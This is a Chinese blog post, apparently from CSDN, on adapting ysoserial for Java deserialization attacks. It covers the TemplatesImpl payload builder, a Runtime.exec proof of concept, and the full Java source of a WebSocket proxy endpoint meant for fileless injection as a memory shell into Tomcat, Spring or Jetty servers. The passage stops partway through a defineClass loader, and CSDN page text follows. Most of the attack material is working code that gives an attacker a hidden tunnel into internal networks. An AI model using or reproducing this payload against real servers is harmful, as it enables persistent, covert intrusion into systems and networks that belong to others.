Java安全攻防之从wsProxy到AbstractTranslet

本文探讨了在Java反序列化利用中,如何改造ysoserial以减少序列化数据体积并实现WebSocket正向代理。通过分析ysoserial的代码,发现不必强制继承AbstractTranslet也可执行代码。文章详细介绍了去除内部类以简化利用过程,以及调整codefile以避免使用AbstractTranslet的方法,从而解决WebSocket Proxy的实现问题。
摘要由CSDN通过智能技术生成

本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。

常用改造 ysoserial 任意类加载执行方式

在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replace("\\", "\\\\").replace("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

在原始的Gadgets.createTemplatesImpl方法中,使用了Javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。

由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。

}else if(command.startsWith("classfile:")){
    String path = command.split(":")[1];
    FileInputStream in =new FileInputStream(new File(path));
    classBytes=new byte[in.available()];
    in.read(classBytes);
    in.close();

在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class CMD extends AbstractTranslet {

    public CMD() throws IOException {
        Runtime.getRuntime().exec("open -a calculator.app");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

反序列后成功执行了代码,移除继承AbstractTranslet后, 

import java.io.IOException;
public class CMD{
    public CMD() throws IOException {
        Runtime.getRuntime().exec("open -a calculator.app");
    }
}

 

也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。

反序列化植入 WebSocket Proxy

wsMemShell/Tomcat_Spring_Jetty at main · veo/wsMemShell

作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。

作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。

刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.servlet.filter、ServletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦),

public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {
  

中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。

实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java。

import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint {
    long i =0;
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
    static class Attach {
        public AsynchronousSocketChannel client;
        public Session channel;
    }
    void readFromServer(Session channel,AsynchronousSocketChannel client){
        final ByteBuffer buffer = ByteBuffer.allocate(50000);
        Attach attach = new Attach();
        attach.client = client;
        attach.channel = channel;
        client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
            @Override
            public void completed(Integer result, final Attach scAttachment) {
                buffer.clear();
                try {
                    if(buffer.hasRemaining() && result>=0)
                    {
                        byte[] arr = new byte[result];
                        ByteBuffer b = buffer.get(arr,0,result);
                        baos.write(arr,0,result);
                        ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
                        if (scAttachment.channel.isOpen()) {
                            scAttachment.channel.getBasicRemote().sendBinary(q);
                        }
                        baos = new ByteArrayOutputStream();
                        readFromServer(scAttachment.channel,scAttachment.client);
                    }else{
                        if(result > 0)
                        {
                            byte[] arr = new byte[result];
                            ByteBuffer b = buffer.get(arr,0,result);
                            baos.write(arr,0,result);
                            readFromServer(scAttachment.channel,scAttachment.client);
                        }
                    }
                } catch (Exception ignored) {}
            }
            @Override
            public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
        });
    }
    void process(ByteBuffer z,Session channel)
    {
        try{
            if(i>1)
            {
                AsynchronousSocketChannel client = map.get(channel.getId());
                client.write(z).get();
                z.flip();
                z.clear();
            }
            else if(i==1)
            {
                String values = new String(z.array());
                String[] array = values.split(" ");
                String[] addrarray = array[1].split(":");
                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
                int po = Integer.parseInt(addrarray[1]);
                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
                Future<Void> future = client.connect(hostAddress);
                try {
                    future.get(10, TimeUnit.SECONDS);
                } catch(Exception ignored){
                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
                    return;
                }
                map.put(channel.getId(), client);
                readFromServer(channel,client);
                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
            }
        }catch(Exception ignored){
        }
    }
    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        i=0;
        session.setMaxBinaryMessageBufferSize(1024*1024*20);
        session.setMaxTextMessageBufferSize(1024*1024*20);
        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
            @Override
            public void onMessage(ByteBuffer message) {
                try {
                    message.clear();
                    i++;
                    process(message,session);
                } catch (Exception ignored) {
                }
            }
        });
    }
}

正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。

这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值